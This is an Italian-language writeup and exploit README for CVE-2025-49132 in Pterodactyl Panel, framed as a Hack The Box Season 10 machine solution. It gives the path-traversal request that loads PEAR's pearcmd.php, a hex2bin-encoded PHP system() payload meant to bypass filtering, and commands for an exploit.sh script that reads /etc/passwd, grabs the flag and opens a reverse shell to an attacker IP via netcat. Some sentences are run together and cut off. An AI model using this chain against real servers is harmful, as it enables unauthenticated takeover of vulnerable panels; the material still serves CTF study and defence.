
Exploit RCE non autenticato per CVE-2025-49132 in Pterodactyl Panel tramite path traversal, command injection PEAR ed esecuzione di codice PHP. Include writeup HTB e script di supporto.
Stagione 10 HTB - Writeup della macchina Pterodactyl
Obiettivo: Macchina HTB Pterodactyl (Difficoltà Media)
CVE: CVE-2025-49132
Gravità: Critica (CVSS 9.8)
Tipo di attacco: Esecuzione di codice remoto non autenticata
Interessati: Pannello Pterodactyl < v1.11.11
Questa catena di exploit combina:
L'endpoint /locales/locale.json del Pannello Pterodactyl permette il path traversal attraverso il parametro locale:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
Questo può essere concatenato con pearcmd.php di PEAR per:
/tmpPEAR (PHP Extension and Application Repository) ha uno strumento CLI (pearcmd.php) che:
config-create che scrive fileLa catena dell'exploit:
Path Traversal → Carica pearcmd.php → Inietta PHP tramite config-create → Esegui PHP malevolo
I comandi sono codificati in esadecimale usando hex2bin() per bypassare:
Esempio:
Command: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
Metodo: Usando exploit.sh fornito
chmod +x exploit.sh
# Get user flag
./exploit.sh flag
# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Reverse shell
nc -lvnp 4444 # On attacker machine
./exploit.sh shell 10.10.14.21 4444